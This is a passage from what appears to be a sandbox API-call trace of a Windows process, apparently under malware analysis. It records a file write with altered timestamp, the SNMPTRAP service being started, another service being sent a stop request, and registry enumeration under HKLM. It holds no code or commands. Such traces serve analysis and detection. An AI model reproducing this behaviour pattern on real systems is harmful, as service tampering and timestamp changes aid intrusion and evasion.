lpBuffer=0x21f86b0*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f86b0*, lpNumberOfBytesWritten=0x36f53c*=0x3800, lpOverlapped=0x0) returned 1 [0215.077] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0215.077] SetFileTime (hFile=0xc4, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0215.077] NtClose (Handle=0xc4) returned 0x0 [0215.078] OpenServiceW (hSCManager=0x803918, lpServiceName="SNMPTRAP", dwDesiredAccess=0x10) returned 0x8038a0 [0215.078] StartServiceW (hService=0x8038a0, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0215.798] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0215.798] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0215.798] GetLastError () returned 0x6 [0215.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f86b0) returned 1 [0215.798] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0215.799] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0215.799] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0215.799] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x20) returned 0x803990 [0215.799] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0215.800] GetLastError () returned 0x425 [0215.800] CloseServiceHandle (hSCObject=0x803990) returned 1 [0215.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0215.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0215.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0215.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0215.800] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0215.800] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0215.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0215.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1bb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0215.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.800] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0215.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0215.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.801] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0215.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0215.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0215.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.801] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0215.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0215.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.801] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0215.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0215.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.801] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0215.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0215.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.802] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0215.802] RegCloseKey (hKey=0x80000002) returned 0x0 [0215.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0215.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0215.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1bb0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0215.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0215.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0215.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0215.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.802] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.802] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0215.802] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0215.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1bb0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0215.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0215.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0215.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0215.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0215.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0215.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.803] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0215.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0215.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0215.803] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.803] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0215.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0215.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0215.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0215.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0215.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.804] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0215.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0215.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1bb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0215.804] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.804] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.804] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0215.805] RegCloseKey (hKey=0x148) returned 0x0 [0215.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0215.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0215.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0215.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0215.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0215.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0215.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0215.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0215.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.805] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.805] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0215.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.805] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", 